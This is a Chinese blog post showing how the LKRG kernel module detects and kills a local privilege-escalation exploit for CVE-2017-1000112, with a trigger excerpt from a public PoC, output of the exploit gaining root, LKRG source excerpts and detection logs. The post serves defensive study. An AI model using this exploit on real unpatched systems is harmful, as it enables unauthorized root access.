Linux Kernel运行时安全检测之LKRG-实践篇

芯光未来

已于 2022-09-09 10:37:03 修改

阅读量1.1w

点赞数 1

分类专栏： Linux内核安全 Linux内核文章标签： linux 安全网络

于 2022-09-07 09:17:45 首次发布

本文链接：https://blog.csdn.net/weixin_72742917/article/details/126690085

版权

Linux内核安全同时被 2 个专栏收录

30 篇文章 10 订阅

订阅专栏

Linux内核

16 篇文章 3 订阅

订阅专栏

更多内核安全、eBPF分析和实践文章，请关注博客和公众号:

CSDN博客：内核功守道
公众号：内核功守道

背景

从文章Linux Kernel运行时安全检测之LKRG-原理篇可以看到，LKRG可以对正在运行的Linux内核进行检测，并希望能够及时响应对正在运行的进程用户id等凭证未经授权的修改(完整性检查)。对于进程凭据，LKRG尝试检测漏洞，并在内核根据未经授权的凭据授予访问权限(例如打开文件)之前采取行动。并且是以可加载的内核模块的形式，检测正在运行的内核是否存在更改情况，以表明正在对其使用某种类型的漏洞利用。除此之外，它还可以检查系统上运行的进程，以查找对各种凭证的未经授权修改，以防止这些更改授予额外的访问权限。

以上LKRG的特性，主要是为了保护运行时内核本身的完整性，但漏洞利用通常会针对系统上运行的进程，以提高特权等，这些信息保存在内核的内存中。因此LKRG还会跟踪每个进程的一系列不同属性，并维护自己的任务列表，用于验证内核的列表。如果两个进程发生分歧，则终止受影响的进程，目的是在被漏洞利用差异之前进行防御。

下面从具体实例的角度来具体分析LKRG，让大家了解LKRG在内核安全检测方面所能实现的效果和其功能所体现出的价值。也是再次强调，任何一项策略和方案，可以作为系统级别纵深防御策略的其中一道防线，但不是“一招胜天”的灵丹妙药。

CVE-2017-1000112（UDP路径转换异常，导致memory corruption）

内核版本：Linux 4.12.6及以下存在此漏洞，内核4.12.7版本上已修复
UFO机制——UDP fragment offload

官方网站对这个漏洞的描述如下：

在Linux内核中的UFO到Non-UFO的路径转换时，存在异常内存崩溃。在构建一个UFO数据包时，内核会使用MSG_MORE __ip_append_data()函数来调用ip_ufo_append_data()并完成路径的添加。
但是在这两个send()调用的过程中，添加的路径可以从UFO路径转换为非UFO路径，而这将导致内存崩溃的发生。为了防止UFO数据包长度超过MTU，非UFO路径的copy = maxfraglen – skb->len将会变成false，并分配新的skb。这将会出发程序计算fraggap = skb_prev->len – maxfraglen的值，并将copy = datalen – transhdrlen – fraggap设置为false。

Linux内核UFO到非UFO路径转换时的内存崩溃问题，在构建一个UFO数据包时，内核会使用MSG_MORE __ip_append_data()函数来调用ip_ufo_append_data()并完成路径的添加。但是在这两个send()调用的过程中，添加的路径可以从UFO路径转换为非UFO路径，而这将导致内存崩溃的发生，这也是个Linux网络子系统内部漏洞的本地特权升级漏洞。

NIC (Network interface card) offload允许协议栈传输大于MTU(缺省为1500字节)的报文。当NIC offload时，内核将把多个数据包组装成一个大数据包，并将其传递给硬件，由硬件处理IP碎片和分割成mtu大小的数据包。这种卸载通常用于高速网络接口，以增加吞吐量，因为UFO可以发送大的UDP包。

以下为截图Github相关PoC中的流程部分，源代码路径：https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c

int s = socket(PF_INET, SOCK_DGRAM, 0);		//创建UDP Socket
	if (s == -1) {
		perror("[-] socket()");
		exit(EXIT_FAILURE);
	}

	struct sockaddr_in addr;
	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(8000);
	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

	if (connect(s, (void*)&addr, sizeof(addr))) {
		perror("[-] connect()");
		exit(EXIT_FAILURE);
	}

	int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
	int rv = send(s, buffer, size, MSG_MORE);	//用MSG_MORE发送pocket，通知内核我们稍后发送更多数据
	if (rv != size) {
		perror("[-] send()");
		exit(EXIT_FAILURE);
	}

	int val = 1;
	rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));	//关闭UDP checksum
	if (rv != 0) {
		perror("[-] setsockopt(SO_NO_CHECK)");
		exit(EXIT_FAILURE);
	}
	send(s, buffer, 1, 0);		//下一次发送Non-UFO数据将触发异常
	close(s);

以上部分实验代码是说明要在内核中构建UFO包，调用send/sendto/sendmsg时使用MSG_MORE标志，它告诉内核将这个套接字上的所有数据积累到single diagram中，以便在执行没有指定该标志的调用时传输，然后触发漏洞利用。

Linux内核将信息包存储在结构sk_buff (socket缓冲区)中，所有网络层都使用该结构存储信息包的头部、关于用户数据的信息(负载)和其他内部信息。
在这里插入图片描述
如上图所示和poc.c可以看到，当使用MSG_MORE标志进行第一个发送调用时，__ip_append_data takes通过调用ip_ufo_append_data创建一个新的套接字缓冲区，在循环的第一次迭代中，copy的值变为负值，这将触发新的套接字缓冲区分配。加上fraggap计算超过MTU而触发分片，这将导致使用skb_copy_and_csum_bits函数从第一次发送调用创建的sk_buff中复制用户负载到新分配的sk_buff。从源缓冲区复制指定数量的字节到目标sk_buff，并计算校验。如果调用skb_copy_and_csum_bits的长度大于新创建的sk_buff边界结束限制，则会覆盖套接字缓冲区之外的数据，并破坏紧接在sk_buff前面的skb_shared_info结构。

test@ubuntu:~/CVE-2017-1000112$ gcc poc.c -o poc
test@ubuntu:~/CVE-2017-1000112$ id
uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0
test@ubuntu:~/CVE-2017-1000112$ ./poc
[.] starting
[.] checking distro and kernel versions
[.] kernel version '4.8.0-52-generic' detected
[~] done, versions looks good
[.] checking SMEP and SMAP
[~] done, looks good
[.] setting up namespace sandbox
[~] done, namespace sandbox set up
[.] KASLR bypass enabled, getting kernel addr
[~] done, kernel text:   ffffffff82a00000
[.] commit_creds:        ffffffff82aa5d00
[.] prepare_kernel_cred: ffffffff82aa60f0
[.] SMEP bypass enabled, mmapping fake stack
[~] done, fake stack mmapped
[.] executing payload ffffffff82a17c55
[~] done, should be root now
[.] checking if we got root
[+] got r00t ^_^
root@ubuntu:/home/test/CVE-2017-1000112# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
root@ubuntu:/home/test/CVE-2017-1000112# exit
exit
test@ubuntu:~/CVE-2017-1000112$

以上结果显示执行成功，也就是漏洞利用成功，这类问题核心在于覆写了cred/read_cred结构体。针对于以上漏洞利用的特点，可以利用LKRG的pCFI来检测相关数据完整性以及检测覆写cred/read_cred结构体的功能，检测SEMP、SMAP、KALSR等的修改，来实现对此类问的防御，下面为部分检测代码，全部代码在：https://github.com/lkrg-org/lkrg/tree/main/src/modules/exploit_detection/syscalls/pCFI和p_exploit_detection.c

//创建creds Hook
static const struct p_functions_hooks {

   const char *name;
   int (*install)(int p_isra);
   void (*uninstall)(void);
   int p_fatal;
   const char *p_error_message;
   int is_isra_safe;

} p_functions_hooks_array[] = {
   {
     "security_bprm_committing_creds",	
     p_install_security_bprm_committing_creds_hook,
     p_uninstall_security_bprm_committing_creds_hook,
     1,
     NULL,
     1
  -......

// dump  creds并对比结果
notrace void p_dump_creds(struct p_cred *p_where, const struct cred *p_from) {

   /* Get reference to cred */
   get_cred(p_from);

   /* Track process's capabilities */
   memcpy(&p_where->cap_inheritable, &p_from->cap_inheritable, sizeof(kernel_cap_t));
   memcpy(&p_where->cap_permitted, &p_from->cap_permitted, sizeof(kernel_cap_t));
   memcpy(&p_where->cap_effective, &p_from->cap_effective, sizeof(kernel_cap_t));
   memcpy(&p_where->cap_bset, &p_from->cap_bset, sizeof(kernel_cap_t));
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 3, 0)
   memcpy(&p_where->cap_ambient, &p_from->cap_ambient, sizeof(kernel_cap_t));
#endif

   /* Track process's IDs */
   p_set_uid(&p_where->uid, p_get_uid(&p_from->uid));
   p_set_gid(&p_where->gid, p_get_gid(&p_from->gid));
   p_set_uid(&p_where->suid, p_get_uid(&p_from->suid));
   p_set_gid(&p_where->sgid, p_get_gid(&p_from->sgid));
   p_set_uid(&p_where->euid, p_get_uid(&p_from->euid));
   p_set_gid(&p_where->egid, p_get_gid(&p_from->egid));
   p_set_uid(&p_where->fsuid, p_get_uid(&p_from->fsuid));
   p_set_gid(&p_where->fsgid, p_get_gid(&p_from->fsgid));

   /* Track process's securebits - TODO: research */
   p_where->securebits = p_from->securebits;

   /* Track process's critical pointers */
   p_where->user     = p_from->user;
   p_where->user_ns  = p_from->user_ns;

   /* Release reference to cred */
   put_cred(p_from);
}
   },/

当在此版本内核中加载LKRG后，再次执行PoC，可以看到该漏洞利用已经被检测并阻断，从kernel log中可以清晰看到“Detected pointer swapping attack!process[2399 | poc] has different ‘cred’ pointer [0xffff8d1bab32ed80 vs 0xffff8d1bb1a50180]”：

test@ubuntu:~/CVE-2017-1000112$ id
uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0
test@ubuntu:~/CVE-2017-1000112$ ./poc
[.] starting
[.] checking distro and kernel versions
[.] kernel version '4.8.0-52-generic' detected
[~] done, versions looks good
[.] checking SMEP and SMAP
[~] done, looks good
[.] setting up namespace sandbox
[~] done, namespace sandbox set up
[.] KASLR bypass enabled, getting kernel addr
[~] done, kernel text:   ffffffff82a00000
[.] commit_creds:        ffffffff82aa5d00
[.] prepare_kernel_cred: ffffffff82aa60f0
[.] SMEP bypass enabled, mmapping fake stack
[~] done, fake stack mmapped
[.] executing payload ffffffff82a17c55
[~] done, should be root now
[.] checking if we got root
Killed
test@ubuntu:~/CVE-2017-1000112$ id
uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0
test@ubuntu:~/CVE-2017-1000112$

ubuntu kernel: [  228.864932] [p_lkrg] Loading LKRG...
ubuntu kernel: [  229.159677] [p_lkrg] LKRG initialized successfully!
ubuntu kernel: [  235.372066] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[2399 | poc] has different 'cred' pointer [0xffff8d1bab32ed80 vs 0xffff8d1bb1a50180]
ubuntu kernel: [  235.372104] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[2399 | poc] has different 'real_cred' pointer [0xffff8d1bab32ed80 vs 0xffff8d1bb1a50180]
ubuntu kernel: [  235.372137] [p_lkrg] <Exploit Detection> process[2399 | poc] has different UID! 1000 vs 0
ubuntu kernel: [  235.372155] [p_lkrg] <Exploit Detection> process[2399 | poc] has different EUID! 1000 vs 0
ubuntu kernel: [  235.372174] [p_lkrg] <Exploit Detection> process[2399 | poc] has different SUID! 1000 vs 0
ubuntu kernel: [  235.372192] [p_lkrg] <Exploit Detection> process[2399 | poc] has different FSUID! 1000 vs 0
ubuntu kernel: [  235.372210] [p_lkrg] <Exploit Detection> process[2399 | poc] has different GID! 1000 vs 0
ubuntu kernel: [  235.372228] [p_lkrg] <Exploit Detection> process[2399 | poc] has different EGID! 1000 vs 0
ubuntu kernel: [  235.372247] [p_lkrg] <Exploit Detection> process[2399 | poc] has different SGID! 1000 vs 0
ubuntu kernel: [  235.372265] [p_lkrg] <Exploit Detection> process[2399 | poc] has different FSGID! 1000 vs 0
ubuntu kernel: [  235.372284] [p_lkrg] <Exploit Detection> Trying to kill process[poc | 2399]!

结论

从上述例子可以看到，LKRG在非法提权中的覆写cred/read_cred结构体这个类型的漏洞利用上，起到了关键的检测和阻断作用。当然，如上篇所说，可以通过一些方法来绕过LKRG，但复杂度和难度会成倍的增加，这也就是为什么会一直强调，任何一项策略和方案，可以作为系统级别纵深防御策略的其中一道防线，但不是“一招胜天”的灵丹妙药，只有构建多层级防御矩阵，以及多个角度来解析安全问题，才会达到更好的效果。

芯光未来

关注

1
点赞
踩
2

收藏

觉得还不错? 一键收藏
打赏
0
评论
Linux Kernel运行时安全检测之LKRG-实践篇

LKRG实践篇---从一个内核Memory Corruption的例子来看LKRG的运行时检测效果。任何一项策略和方案，可以作为系统级别纵深防御策略的其中一道防线，但不是“一招胜天”的灵丹妙药，只有构建多层级防御矩阵，以及多个角度来解析安全问题，才会达到更好的效果。
复制链接

扫一扫